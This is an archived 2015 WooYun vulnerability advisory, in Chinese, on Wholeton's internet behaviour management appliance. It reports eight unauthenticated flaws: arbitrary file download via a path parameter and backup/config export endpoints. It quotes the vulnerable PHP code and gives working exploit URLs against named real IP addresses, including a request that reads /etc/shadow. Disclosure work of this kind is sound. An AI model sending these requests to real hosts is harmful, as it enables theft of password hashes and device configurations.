当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103857

漏洞标题:惠尔顿上网行为管理系统任意文件下载及信息泄露八处(无需登录)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2015-03-26 15:38

修复时间:2015-06-29 08:36

公开时间:2015-06-29 08:36

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向第三方安全合作伙伴开放
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

惠尔顿上网行为管理系统任意文件下载及信息泄露八处(无需登录)

详细说明:

惠尔顿上网行为管理系统任意文件下载及信息泄露八处(无需登录)
官网经典案例:http://www.wholeton.com/Anli.php
外网部分实际案例:

1.https://test.bescar.com
2.https://angelic.com.cn/
3.http://222.223.56.116
4.https://222.92.15.100
5.http://111.206.133.4/
6.http://mail.hualiu.cc/


先来看看五处任意文件下载吧
首先简单过滤一下base目录下可能存在漏洞的文件:

find -name '*.php' | xargs grep  -l 'Content-Disposition'


1.png


然后手工打开文件依次看看是否存在漏洞
最后剩下这五处存在漏洞:

1、http://222.223.56.116/base/web/downAnnex.php?filename=111111&path=/usr/local/WholetonTM/htdocs/base/web/downAnnex.php
2、http://222.223.56.116/base/stats/download.php?filename=downAnnex.php&path=/usr/local/WholetonTM/htdocs/base/web/
3、http://222.223.56.116/base/stats/download_pdf.php?filename=downAnnex.php&path=/usr/local/WholetonTM/htdocs/base/web/
4、http://222.223.56.116/base/stats/download_txt.php?filename=downAnnex.php&path=/usr/local/WholetonTM/htdocs/base/web/
5、http://222.223.56.116/base/sys/download_file.php?filename=111111&path=/usr/local/WholetonTM/htdocs/base/web/downAnnex.php


来看看第一个的代码:
/base/web/downAnnex.php

<?php 
$upload_file = $_REQUEST['filename'];
$upload_dir= $_REQUEST['path'];
if(file_exists($upload_dir)){
$fp = fopen($upload_dir, "r ");
Header( "Content-type: application/octet-stream ");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($upload_dir));
Header( "Content-Disposition: attachment; filename=".iconv("utf-8",'gb2312',$upload_file));
echo fread($fp,filesize($upload_dir));
fclose($fp);
}
?>


直接fopen了$_REQUEST['path']
在看下一个:
文件/base/stats/download.php

<?php
$upload_dir = $_REQUEST['path'];
$upload_name = urldecode($_REQUEST['filename']);
if(file_exists($upload_dir.$upload_name)){
$path_parts = pathinfo($upload_name);
$ext = strtolower($path_parts["extension"]);
switch ($ext) {
case "xls":
header("Content-type: application/vnd.ms-excel"); // add here more headers for diff. extensions
break;
default;
header("Content-type: application/octet-stream");
}
Header("HTTP/1.1 200 OK");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($upload_dir.$upload_name));
Header( "Content-Disposition: attachment; filename=".iconv("utf-8","gb2312",$upload_name));
readfile($upload_dir.$upload_name);
}
?>


代码最后直接readfile($upload_dir.$upload_name)
其他的基础原理都一样
无需登录,直接下载你想要的任意文件即可
都是一个类型的
path为要下载的文件的路径
filename为要下载的文件的名称,或者下载后的命名名称
以第一个为例

2.png


下载后111111文件就是downAnnex.php文件的源代码了
比如最后一个

3.png


下载后222222文件就是/etc/shadow文件的内容了
============================================================================
下面来看看可以随意下载系统配置文件的,无需登录,没有验证,直接下载系统配置文件,导致系统敏感信息泄漏,比如系统配置信息,系统用户账户信息等
当然前面还有白帽子已经提交过一些了,这里再找出来三个

1、http://222.223.56.116/base/sys/backfile.php(POST_DATA)m=backup
2、http://222.223.56.116//base/vpn/download_bak.php
3、http://222.223.56.116/base/web/ExportXml.php?type=1


来看看第一个代码
文件/base/sys/backfile.php

<?php 
function down_load(){
$file='/tmp/sys_init.tar.gz';
if($fp=fopen($file,"r"))
{
$content = fread($fp,filesize($file));
fclose($fp);
}
header("Content-disposition: filename=sys_date.bak");
header("Content-type: unknown/unknown");
echo $content;
}
if($_POST['m']=='backup'){//备份数据
exec("rm -rf /tmp/sys_init.tar.gz");
$file='/tmp/sys_init.tar.gz';
exec("/usr/local/WholetonTM/pl_sh/backup",$aaa);
sleep (2);
down_load();
$insert=1;
}
if($insert=="1"){
$username=$_SESSION["user"];
$fp = fopen("/etc/systemlog.txt",'a');
$name ="备份数据";
$lines = $username." ".date('Y-m-d H:i:s')." ".$name."\n";
fwrite($fp,$lines);
fclose($fp);
}
?>


当m=backup时,直接调用down_load函数,然后下载了系统的备份文件及系统全部配置信息内容
以第一个为例,发送请求后下载sys_date.bak文件,要使用routerpassview.exe工具打开
里面有各种系统信息,比如这里的账户:

4.png


再比如第二个,下载的config.bak文件,里面的敏感信息更多

5.png

漏洞证明:

见详细说明

修复方案:

没有比重写更好的建议

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-31 08:34

厂商回复:

CNVD确认并复现所述情况,已经由CNVD直接向软件生产厂商_深圳惠尔顿公司电话和邮件通报.

最新状态:

暂无